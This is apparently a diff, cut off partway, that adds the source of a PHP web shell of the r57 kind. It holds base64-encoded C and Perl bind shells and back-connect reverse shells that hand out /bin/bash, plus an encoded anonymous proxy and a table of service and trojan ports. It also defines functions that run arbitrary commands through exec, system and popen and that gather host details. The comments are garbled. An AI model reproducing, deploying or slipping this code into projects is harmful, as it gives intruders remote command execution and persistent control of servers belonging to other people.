+$port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS +A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I +GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt +b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9 +pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF +NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK +ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog +ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk +7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2 +9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld +2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu +dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp +lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0="; +$port_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS +VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs +JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV +TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG +lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK +Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i +Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N +lIENPTk47DQpleGl0IDA7DQp9DQp9"; +$back_connect_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj +aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR +hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT +sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI +kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi +KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl +OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; +$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC +BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb +SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd +KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ +sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC +Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D +QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp +Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; +$prx1="IyEvaG9tZS9tZXJseW4vYmluL3BlcmwgLXcNCiMjIw0KIyMjaHR0cDovL2ZvcnVtLndlYi1oYWNrLnJ1L2luZGV4LnBocD9zaG93dG9waWM9 +MjY3MDYmc3Q9MCYjZW50cnkyNDYzNDQNCiMjIw0KDQp1c2Ugc3RyaWN0Ow0KJEVOVntQQVRIfSA9IGpvaW4gXCI6XCIsIHF3KC91c3IvdWNiIC9iaW4 +gL3Vzci9iaW4pOw0KJHwrKzsNCg0KIyMgQ29weXJpZ2h0IChjKSAxOTk2IGJ5IFJhbmRhbCBMLiBTY2h3YXJ0eg0KIyMgVGhpcyBwcm9ncmFtIGlzIG +ZyZWUgc29mdHdhcmU7IHlvdSBjYW4gcmVkaXN0cmlidXRlIGl0DQojIyBhbmQvb3IgbW9kaWZ5IGl0IHVuZGVyIHRoZSBzYW1lIHRlcm1zIGFzIFBlc +mwgaXRzZWxmLg0KDQojIyBBbm9ueW1vdXMgSFRUUCBwcm94eSAoaGFuZGxlcyBodHRwOiwgZ29waGVyOiwgZnRwOikNCiMjIHJlcXVpcmVzIExXUCA1 +LjA0IG9yIGxhdGVyDQoNCm15ICRIT1NUID0gXCJsb2NhbGhvc3RcIjsNCm15ICRQT1JUID0gXCI="; +$prx2="XCI7DQoNCnN1YiBwcmVmaXggew0KIG15ICRub3cgPSBsb2NhbHRpbWU7DQoNCiBqb2luIFwiXCIsIG1hcCB7IFwiWyRub3ddIFskeyR9XSAk +X1xcblwiIH0gc3BsaXQgL1xcbi8sIGpvaW4gXCJcIiwgQF87DQp9DQoNCiRTSUd7X19XQVJOX199ID0gc3ViIHsgd2FybiBwcmVmaXggQF8gfTsNCiR +TSUd7X19ESUVfX30gPSBzdWIgeyBkaWUgcHJlZml4IEBfIH07DQokU0lHe0NMRH0gPSAkU0lHe0NITER9ID0gc3ViIHsgd2FpdDsgfTsNCg0KbXkgJE +FHRU5UOyAgICMgZ2xvYmFsIHVzZXIgYWdlbnQgKGZvciBlZmZpY2llbmN5KQ0KQkVHSU4gew0KIHVzZSBMV1A6OlVzZXJBZ2VudDsNCg0KIEBNeUFnZ +W50OjpJU0EgPSBxdyhMV1A6OlVzZXJBZ2VudCk7ICMgc2V0IGluaGVyaXRhbmNlDQoNCiAkQUdFTlQgPSBNeUFnZW50LT5uZXc7DQogJEFHRU5ULT5h +Z2VudChcImFub24vMC4wN1wiKTsNCiAkQUdFTlQtPmVudl9wcm94eTsNCn0NCg0Kc3ViIE15QWdlbnQ6OnJlZGlyZWN0X29rIHsgMCB9ICMgcmVkaXJ +lY3RzIHNob3VsZCBwYXNzIHRocm91Z2gNCg0KeyAgICAjIyMgTUFJTiAjIyMNCiB1c2UgSFRUUDo6RGFlbW9uOw0KDQogbXkgJG1hc3RlciA9IG5ldy +BIVFRQOjpEYWVtb24NCiAgIExvY2FsQWRkciA9PiAkSE9TVCwgTG9jYWxQb3J0ID0+ICRQT1JUOw0KIHdhcm4gXCJzZXQgeW91ciBwcm94eSB0byA8V +VJMOlwiLCAkbWFzdGVyLT51cmwsIFwiPlwiOw0KIG15ICRzbGF2ZTsNCiAmaGFuZGxlX2Nvbm5lY3Rpb24oJHNsYXZlKSB3aGlsZSAkc2xhdmUgPSAk +bWFzdGVyLT5hY2NlcHQ7DQogZXhpdCAwOw0KfSAgICAjIyMgRU5EIE1BSU4gIyMjDQoNCnN1YiBoYW5kbGVfY29ubmVjdGlvbiB7DQogbXkgJGNvbm5 +lY3Rpb24gPSBzaGlmdDsgIyBIVFRQOjpEYWVtb246OkNsaWVudENvbm4NCg0KIG15ICRwaWQgPSBmb3JrOw0KIGlmICgkcGlkKSB7ICAgIyBzcGF3bi +BPSywgYW5kIElcJ20gdGhlIHBhcmVudA0KICAgY2xvc2UgJGNvbm5lY3Rpb247DQogICByZXR1cm47DQogfQ0KICMjIHNwYXduIGZhaWxlZCwgb3IgS +VwnbSBhIGdvb2QgY2hpbGQNCiBteSAkcmVxdWVzdCA9ICRjb25uZWN0aW9uLT5nZXRfcmVxdWVzdDsNCiBpZiAoZGVmaW5lZCgkcmVxdWVzdCkpIHsN +CiAgIG15ICRyZXNwb25zZSA9ICZmZXRjaF9yZXF1ZXN0KCRyZXF1ZXN0KTsNCiAgICRjb25uZWN0aW9uLT5zZW5kX3Jlc3BvbnNlKCRyZXNwb25zZSk +7DQogICBjbG9zZSAkY29ubmVjdGlvbjsNCiB9DQogZXhpdCAwIGlmIGRlZmluZWQgJHBpZDsgIyBleGl0IGlmIElcJ20gYSBnb29kIGNoaWxkIHdpdG +ggYSBnb29kIHBhcmVudA0KfQ0KDQpzdWIgZmV0Y2hfcmVxdWVzdCB7DQogbXkgJHJlcXVlc3QgPSBzaGlmdDsgICMgSFRUUDo6UmVxdWVzdA0KDQogd +XNlIEhUVFA6OlJlc3BvbnNlOw0KDQogbXkgJHVybCA9ICRyZXF1ZXN0LT51cmw7DQogd2FybiBcImZldGNoaW5nICR1cmxcIjsNCiBpZiAoJHVybC0+ +c2NoZW1lICF+IC9eKGh0dHB8Z29waGVyfGZ0cCkkLykgew0KICAgbXkgJHJlcyA9IEhUVFA6OlJlc3BvbnNlLT5uZXcoNDAzLCBcIkZvcmJpZGRlblw +iKTsNCiAgICRyZXMtPmNvbnRlbnQoXCJiYWQgc2NoZW1lOiBAe1skdXJsLT5zY2hlbWVdfVxcblwiKTsNCiAgICRyZXM7DQogfSBlbHNpZiAobm90IC +R1cmwtPnJlbC0+bmV0bG9jKSB7DQogICBteSAkcmVzID0gSFRUUDo6UmVzcG9uc2UtPm5ldyg0MDMsIFwiRm9yYmlkZGVuXCIpOw0KICAgJHJlcy0+Y +29udGVudChcInJlbGF0aXZlIFVSTCBub3QgcGVybWl0dGVkXFxuXCIpOw0KICAgJHJlczsNCiB9IGVsc2Ugew0KICAgJmZldGNoX3ZhbGlkYXRlZF9y +ZXF1ZXN0KCRyZXF1ZXN0KTsNCiB9DQp9DQoNCnN1YiBmZXRjaF92YWxpZGF0ZWRfcmVxdWVzdCB7DQogbXkgJHJlcXVlc3QgPSBzaGlmdDsgIyBIVFR +QOjpSZXF1ZXN0DQoNCiAjIyB1c2VzIGdsb2JhbCAkQUdFTlQNCg0KICMjIHdhcm4gXCJvcmlnIHJlcXVlc3Q6IDw8PFwiLCAkcmVxdWVzdC0+aGVhZG +Vyc19hc19zdHJpbmcsIFwiPj4+XCI7DQogJHJlcXVlc3QtPnJlbW92ZV9oZWFkZXIocXcoVXNlci1BZ2VudCBGcm9tIFJlZmVyZXIgQ29va2llKSk7D +QogIyMgd2FybiBcImFub24gcmVxdWVzdDogPDw8XCIsICRyZXF1ZXN0LT5oZWFkZXJzX2FzX3N0cmluZywgXCI+Pj5cIjsNCiBteSAkcmVzcG9uc2Ug +PSAkQUdFTlQtPnJlcXVlc3QoJHJlcXVlc3QpOw0KICMjIHdhcm4gXCJvcmlnIHJlc3BvbnNlOiA8PDxcIiwgJHJlc3BvbnNlLT5oZWFkZXJzX2FzX3N +0cmluZywgXCI+Pj5cIjsNCiAkcmVzcG9uc2UtPnJlbW92ZV9oZWFkZXIocXcoU2V0LUNvb2tpZSkpOw0KICMjIHdhcm4gXCJhbm9uIHJlc3BvbnNlOi +A8PDxcIiwgJHJlc3BvbnNlLT5oZWFkZXJzX2FzX3N0cmluZywgXCI+Pj5cIjsNCiAkcmVzcG9uc2U7DQp9"; +$port[1] = "tcpmux (TCP Port Service Multiplexer)"; +$port[2] = "Management Utility"; +$port[3] = "Compression Process"; +$port[5] = "rje (Remote Job Entry)"; +$port[7] = "echo"; +$port[9] = "discard"; +$port[11] = "systat"; +$port[13] = "daytime"; +$port[15] = "netstat"; +$port[17] = "quote of the day"; +$port[18] = "send/rwp"; +$port[19] = "character generator"; +$port[20] = "ftp-data"; +$port[21] = "ftp"; +$port[22] = "ssh, pcAnywhere"; +$port[23] = "Telnet"; +$port[25] = "SMTP (Simple Mail Transfer)"; +$port[27] = "ETRN (NSW User System FE)"; +$port[29] = "MSG ICP"; +$port[31] = "MSG Authentication"; +$port[33] = "dsp (Display Support Protocol)"; +$port[37] = "time"; +$port[38] = "RAP (Route Access Protocol)"; +$port[39] = "rlp (Resource Location Protocol)"; +$port[41] = "Graphics"; +$port[42] = "nameserv, WINS"; +$port[43] = "whois, nickname"; +$port[44] = "MPM FLAGS Protocol"; +$port[45] = "Message Processing Module [recv]"; +$port[46] = "MPM [default send]"; +$port[47] = "NI FTP"; +$port[48] = "Digital Audit Daemon"; +$port[49] = "TACACS, Login Host Protocol"; +$port[50] = "RMCP, re-mail-ck"; +$port[53] = "DNS"; +$port[57] = "MTP (any private terminal access)"; +$port[59] = "NFILE"; +$port[60] = "Unassigned"; +$port[61] = "NI MAIL"; +$port[62] = "ACA Services"; +$port[63] = "whois++"; +$port[64] = "Communications Integrator (CI)"; +$port[65] = "TACACS-Database Service"; +$port[66] = "Oracle SQL*NET"; +$port[67] = "bootps (Bootstrap Protocol Server)"; +$port[68] = "bootpd/dhcp (Bootstrap Protocol Client)"; +$port[69] = "Trivial File Transfer Protocol (tftp)"; +$port[70] = "Gopher"; +$port[71] = "Remote Job Service"; +$port[72] = "Remote Job Service"; +$port[73] = "Remote Job Service"; +$port[74] = "Remote Job Service"; +$port[75] = "any private dial out service"; +$port[76] = "Distributed External Object Store"; +$port[77] = "any private RJE service"; +$port[78] = "vettcp"; +$port[79] = "finger"; +$port[80] = "World Wide Web HTTP"; +$port[81] = "HOSTS2 Name Serve"; +$port[82] = "XFER Utility"; +$port[83] = "MIT ML Device"; +$port[84] = "Common Trace Facility"; +$port[85] = "MIT ML Device"; +$port[86] = "Micro Focus Cobol"; +$port[87] = "any private terminal link"; +$port[88] = "Kerberos, WWW"; +$port[89] = "SU/MIT Telnet Gateway"; +$port[90] = "DNSIX Securit Attribute Token Map"; +$port[91] = "MIT Dover Spooler"; +$port[92] = "Network Printing Protocol"; +$port[93] = "Device Control Protocol"; +$port[94] = "Tivoli Object Dispatcher"; +$port[95] = "supdup"; +$port[96] = "DIXIE"; +$port[98] = "linuxconf"; +$port[99] = "Metagram Relay"; +$port[100] = "[unauthorized use]"; +$port[101] = "HOSTNAME"; +$port[102] = "ISO, X.400, ITOT"; +$port[103] = "Genesis Point-to-Point"; +$port[104] = "ACR-NEMA Digital Imag. & Comm. 300"; +$port[105] = "CCSO name server protocol"; +$port[106] = "poppassd"; +$port[107] = "Remote Telnet Service"; +$port[108] = "SNA Gateway Access Server"; +$port[109] = "POP2"; +$port[110] = "POP3"; +$port[111] = "Sun RPC Portmapper"; +$port[112] = "McIDAS Data Transmission Protocol"; +$port[113] = "Authentication Service"; +$port[115] = "sftp (Simple File Transfer Protocol)"; +$port[116] = "ANSA REX Notify"; +$port[117] = "UUCP Path Service"; +$port[118] = "SQL Services"; +$port[119] = "NNTP"; +$port[120] = "CFDP"; +$port[123] = "NTP"; +$port[124] = "SecureID"; +$port[129] = "PWDGEN"; +$port[133] = "statsrv"; +$port[135] = "loc-srv/epmap"; +$port[137] = "netbios-ns"; +$port[138] = "netbios-dgm (UDP)"; +$port[139] = "NetBIOS"; +$port[143] = "IMAP"; +$port[144] = "NewS"; +$port[150] = "SQL-NET"; +$port[152] = "BFTP"; +$port[153] = "SGMP"; +$port[156] = "SQL Service"; +$port[161] = "SNMP"; +$port[175] = "vmnet"; +$port[177] = "XDMCP"; +$port[178] = "NextStep Window Server"; +$port[179] = "BGP"; +$port[180] = "SLmail admin"; +$port[199] = "smux"; +$port[210] = "Z39.50"; +$port[213] = "IPX"; +$port[218] = "MPP"; +$port[220] = "IMAP3"; +$port[256] = "RAP"; +$port[257] = "Secure Electronic Transaction"; +$port[258] = "Yak Winsock Personal Chat"; +$port[259] = "ESRO"; +$port[264] = "FW1_topo"; +$port[311] = "Apple WebAdmin"; +$port[350] = "MATIP type A"; +$port[351] = "MATIP type B"; +$port[363] = "RSVP tunnel"; +$port[366] = "ODMR (On-Demand Mail Relay)"; +$port[371] = "Clearcase"; +$port[387] = "AURP (AppleTalk Update-Based Routing Protocol)"; +$port[389] = "LDAP"; +$port[407] = "Timbuktu"; +$port[427] = "Server Location"; +$port[434] = "Mobile IP"; +$port[443] = "ssl"; +$port[444] = "snpp, Simple Network Paging Protocol"; +$port[445] = "SMB"; +$port[458] = "QuickTime TV/Conferencing"; +$port[468] = "Photuris"; +$port[475] = "tcpnethaspsrv"; +$port[500] = "ISAKMP, pluto"; +$port[511] = "mynet-as"; +$port[512] = "biff, rexec"; +$port[513] = "who, rlogin"; +$port[514] = "syslog, rsh"; +$port[515] = "lp, lpr, line printer"; +$port[517] = "talk"; +$port[520] = "RIP (Routing Information Protocol)"; +$port[521] = "RIPng"; +$port[522] = "ULS"; +$port[531] = "IRC"; +$port[543] = "KLogin, AppleShare over IP"; +$port[545] = "QuickTime"; +$port[548] = "AFP"; +$port[554] = "Real Time Streaming Protocol"; +$port[555] = "phAse Zero"; +$port[563] = "NNTP over SSL"; +$port[575] = "VEMMI"; +$port[581] = "Bundle Discovery Protocol"; +$port[593] = "MS-RPC"; +$port[608] = "SIFT/UFT"; +$port[626] = "Apple ASIA"; +$port[631] = "IPP (Internet Printing Protocol)"; +$port[635] = "RLZ DBase"; +$port[636] = "sldap"; +$port[642] = "EMSD"; +$port[648] = "RRP (NSI Registry Registrar Protocol)"; +$port[655] = "tinc"; +$port[660] = "Apple MacOS Server Admin"; +$port[666] = "Doom"; +$port[674] = "ACAP"; +$port[687] = "AppleShare IP Registry"; +$port[700] = "buddyphone"; +$port[705] = "AgentX for SNMP"; +$port[901] = "swat, realsecure"; +$port[993] = "s-imap"; +$port[995] = "s-pop"; +$port[1024] = "Reserved"; +$port[1025] = "network blackjack"; +$port[1062] = "Veracity"; +$port[1080] = "SOCKS"; +$port[1085] = "WebObjects"; +$port[1227] = "DNS2Go"; +$port[1243] = "SubSeven"; +$port[1338] = "Millennium Worm"; +$port[1352] = "Lotus Notes"; +$port[1381] = "Apple Network License Manager"; +$port[1417] = "Timbuktu Service 1 Port"; +$port[1418] = "Timbuktu Service 2 Port"; +$port[1419] = "Timbuktu Service 3 Port"; +$port[1420] = "Timbuktu Service 4 Port"; +$port[1433] = "Microsoft SQL Server"; +$port[1434] = "Microsoft SQL Monitor"; +$port[1477] = "ms-sna-server"; +$port[1478] = "ms-sna-base"; +$port[1490] = "insitu-conf"; +$port[1494] = "Citrix ICA Protocol"; +$port[1498] = "Watcom-SQL"; +$port[1500] = "VLSI License Manager"; +$port[1503] = "T.120"; +$port[1521] = "Oracle SQL"; +$port[1522] = "Ricardo North America License Manager"; +$port[1524] = "ingres"; +$port[1525] = "prospero"; +$port[1526] = "prospero"; +$port[1527] = "tlisrv"; +$port[1529] = "oracle"; +$port[1547] = "laplink"; +$port[1604] = "Citrix ICA, MS Terminal Server"; +$port[1645] = "RADIUS Authentication"; +$port[1646] = "RADIUS Accounting"; +$port[1680] = "Carbon Copy"; +$port[1701] = "L2TP/LSF"; +$port[1717] = "Convoy"; +$port[1720] = "H.323/Q.931"; +$port[1723] = "PPTP control port"; +$port[1731] = "MSICCP"; +$port[1755] = "Windows Media .asf"; +$port[1758] = "TFTP multicast"; +$port[1761] = "cft-0"; +$port[1762] = "cft-1"; +$port[1763] = "cft-2"; +$port[1764] = "cft-3"; +$port[1765] = "cft-4"; +$port[1766] = "cft-5"; +$port[1767] = "cft-6"; +$port[1808] = "Oracle-VP2"; +$port[1812] = "RADIUS server"; +$port[1813] = "RADIUS accounting"; +$port[1818] = "ETFTP"; +$port[1973] = "DLSw DCAP/DRAP"; +$port[1985] = "HSRP"; +$port[1999] = "Cisco AUTH"; +$port[2001] = "glimpse"; +$port[2049] = "NFS"; +$port[2064] = "distributed.net"; +$port[2065] = "DLSw"; +$port[2066] = "DLSw"; +$port[2106] = "MZAP"; +$port[2140] = "DeepThroat"; +$port[2301] = "Compaq Insight Management Web Agents"; +$port[2327] = "Netscape Conference"; +$port[2336] = "Apple UG Control"; +$port[2427] = "MGCP gateway"; +$port[2504] = "WLBS"; +$port[2535] = "MADCAP"; +$port[2543] = "sip"; +$port[2592] = "netrek"; +$port[2727] = "MGCP call agent"; +$port[2628] = "DICT"; +$port[2998] = "ISS Real Secure Console Service Port"; +$port[3000] = "Firstclass"; +$port[3001] = "Redwood Broker"; +$port[3031] = "Apple AgentVU"; +$port[3128] = "squid"; +$port[3130] = "ICP"; +$port[3150] = "DeepThroat"; +$port[3264] = "ccmail"; +$port[3283] = "Apple NetAssitant"; +$port[3288] = "COPS"; +$port[3305] = "ODETTE"; +$port[3306] = "mySQL"; +$port[3389] = "RDP Protocol (Terminal Server)"; +$port[3521] = "netrek"; +$port[4000] = "icq, command-n-conquer and shell nfm"; +$port[4321] = "rwhois"; +$port[4333] = "mSQL"; +$port[4444] = "KRB524"; +$port[4827] = "HTCP"; +$port[5002] = "radio free ethernet"; +$port[5004] = "RTP"; +$port[5005] = "RTP"; +$port[5010] = "Yahoo! Messenger"; +$port[5050] = "multimedia conference control tool"; +$port[5060] = "SIP"; +$port[5150] = "Ascend Tunnel Management Protocol"; +$port[5190] = "AIM"; +$port[5500] = "securid"; +$port[5501] = "securidprop"; +$port[5423] = "Apple VirtualUser"; +$port[5555] = "Personal Agent"; +$port[5631] = "PCAnywhere data"; +$port[5632] = "PCAnywhere"; +$port[5678] = "Remote Replication Agent Connection"; +$port[5800] = "VNC"; +$port[5801] = "VNC"; +$port[5900] = "VNC"; +$port[5901] = "VNC"; +$port[6000] = "X Windows"; +$port[6112] = "BattleNet"; +$port[6502] = "Netscape Conference"; +$port[6667] = "IRC"; +$port[6670] = "VocalTec Internet Phone, DeepThroat"; +$port[6699] = "napster"; +$port[6776] = "Sub7"; +$port[6970] = "RTP"; +$port[7007] = "MSBD, Windows Media encoder"; +$port[7070] = "RealServer/QuickTime"; +$port[7777] = "cbt"; +$port[7778] = "Unreal"; +$port[7648] = "CU-SeeMe"; +$port[7649] = "CU-SeeMe"; +$port[8000] = "iRDMI/Shoutcast Server"; +$port[8010] = "WinGate 2.1"; +$port[8080] = "HTTP"; +$port[8181] = "HTTP"; +$port[8383] = "IMail WWW"; +$port[8875] = "napster"; +$port[8888] = "napster"; +$port[8889] = "Desktop Data TCP 1"; +$port[8890] = "Desktop Data TCP 2"; +$port[8891] = "Desktop Data TCP 3: NESS application"; +$port[8892] = "Desktop Data TCP 4: FARM product"; +$port[8893] = "Desktop Data TCP 5: NewsEDGE/Web application"; +$port[8894] = "Desktop Data TCP 6: COAL application"; +$port[9000] = "CSlistener"; +$port[10008] = "cheese worm"; +$port[11371] = "PGP 5 Keyserver"; +$port[13223] = "PowWow"; +$port[13224] = "PowWow"; +$port[14237] = "Palm"; +$port[14238] = "Palm"; +$port[18888] = "LiquidAudio"; +$port[21157] = "Activision"; +$port[22555] = "Vocaltec Web Conference"; +$port[23213] = "PowWow"; +$port[23214] = "PowWow"; +$port[23456] = "EvilFTP"; +$port[26000] = "Quake"; +$port[27001] = "QuakeWorld"; +$port[27010] = "Half-Life"; +$port[27015] = "Half-Life"; +$port[27960] = "QuakeIII"; +$port[30029] = "AOL Admin"; +$port[31337] = "Back Orifice"; +$port[32777] = "rpc.walld"; +$port[45000] = "Cisco NetRanger postofficed"; +$port[32773] = "rpc bserverd"; +$port[32776] = "rpc.spray"; +$port[32779] = "rpc.cmsd"; +$port[38036] = "timestep"; +$port[40193] = "Novell"; +$port[41524] = "arcserve discovery"; +//////////////////////////////////////////////////////////////////////////////// +////////////////////////////////�������///////////////////////////////////////// +/////////////////////////////////////////////////////////////////////////////// +function rep_char($ch,$count) //���������� ������� +{ + $res=""; + for($i=0; $i<=$count; ++$i){ + $res.=$ch.""; + } + return $res; +} +function ex($comd) //���������� ������� +{ + $res = ''; + if (!empty($comd)){ + if(function_exists('exec')){ + exec($comd,$res); + $res=implode("\n",$res); + }elseif(function_exists('shell_exec')){ + $res=shell_exec($comd); + }elseif(function_exists('system')){ + ob_start(); + system($comd); + $res=ob_get_contents(); + ob_end_clean(); + }elseif(function_exists('passthru')){ + ob_start(); + passthru($comd); + $res=ob_get_contents(); + ob_end_clean(); + }elseif(is_resource($f=popen($comd,"r"))){ + $res = ""; + while(!feof($f)) { $res.=fread($f,1024); } + pclose($f); + } + } + return $res; +} +function sysinfo() //����� SYSINFO +{ + global $curl_on, $dis_func, $mysql_stat, $safe_mode, $server, $HTTP_SERVER_VARS; + echo("<b><font face=Verdana size=2> System information:<br><font size=-2> + <hr>"); + echo (($safe_mode)?("Safe Mode: </b><font color=green>ON</font><b> "): + ("Safe Mode: </b><font color=red>OFF</font><b> ")); + $row_dis_func=explode(', ',$dis_func); + echo ("PHP: </b><font color=blue>".phpversion()."</font><b> "); + echo ("MySQL: </b>"); + if($mysql_stat){ + echo "<font color=green>ON </font><b>"; + } + else { + echo "<font color=red>OFF </font><b>"; + } + echo "cURL: </b>"; + if($curl_on){ + echo "<font color=green>ON</font><b><br>"; + }else + echo "<font color=red>OFF</font><b><br>"; + if ($dis_func!=""){ + echo "Disabled Functions: </b><font color=red>".$dis_func."</font><br><b>"; + } + $uname=ex('uname -a'); + echo "OS: </b><font color=blue>"; + if (empty($uname)){ + echo (php_uname()."</font><br><b>"); + }else + echo $uname."</font><br><b>"; + $id = ex('id'); + echo "SERVER: </b><font color=blue>".$server."</font><br><b>"; + echo "id: </b><font color=blue>"; + if (!empty($id)){ + echo $id."</font><br><b>"; + }else + echo "user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid(). + "</font><br><b>"; + echo "<b>RemoteAddress:</b><font color=red>".$HTTP_SERVER_VARS['REMOTE_ADDR']."</font><br>"; + if(isset($HTTP_SERVER_VARS['HTTP_X_FORWARDED_FOR'])){ + echo "<b>RemoteAddressIfProxy:</b><font color=red>".$HTTP_SERVER_VARS['HTTP_X_FORWARDED_FOR']."</font>"; + } + echo "<hr size=3 color=black>"; + echo "</font></font>"; +} +function read_dir($dir) //������ ����� +{ + $d=opendir($dir); + $i=0; + while($r=readdir($d)){ + $res[$i]=$r; + $i++; + } + return $res; +} +function permissions($mode,$file) { //����������� ������� + $type=filetype($file); + $perms=$type[0]; + $perms.=($mode & 00400) ? "r" : "-"; + $perms.=($mode & 00200) ? "w" : "-"; + $perms.=($mode & 